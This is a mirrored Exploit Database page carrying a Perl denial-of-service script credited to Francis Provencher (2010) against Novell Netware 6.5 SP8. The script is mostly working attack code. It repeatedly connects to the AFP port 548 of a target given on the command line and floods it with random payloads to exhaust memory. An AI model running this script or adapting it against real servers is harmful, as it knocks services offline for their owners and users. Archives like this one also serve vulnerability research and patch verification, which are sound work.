Novell Netware – CIFS and AFP Remote Memory Consumption Denial of Service

• Exploit Database
• 91 阅读

• 作者： Francis Provencher
  日期： 2010-01-05
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/11009/

• #!/usr/bin/perl
  #	Novell Netware CIFS And AFP Remote Memory Consumption DoS
  #	Platform: Novell Netware 6.5 SP8
  # Found by Francis Provencher for Protek Research Lab's
  #	http://protekresearch.blogspot.com/
  # {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service
  # Here is a modified version from the script written by the researcher Jeremy Brown
  # http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html
  #
  
  use IO::Socket;
  use String::Random;
  
  $target = $ARGV[0];
  $port = 548;
  $protocol = tcp;
  $maxsize= 666;
  $random = 0;
  
  if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize)))
  {
   print "usage: $0 <target> \n";
   exit;
  }
  
  while(1)
  {
  $sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port)
  or logit();
  
  $rand = new String::Random;
  $random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n";
  
   $sock->send($random);
   close($sock);
  }
  

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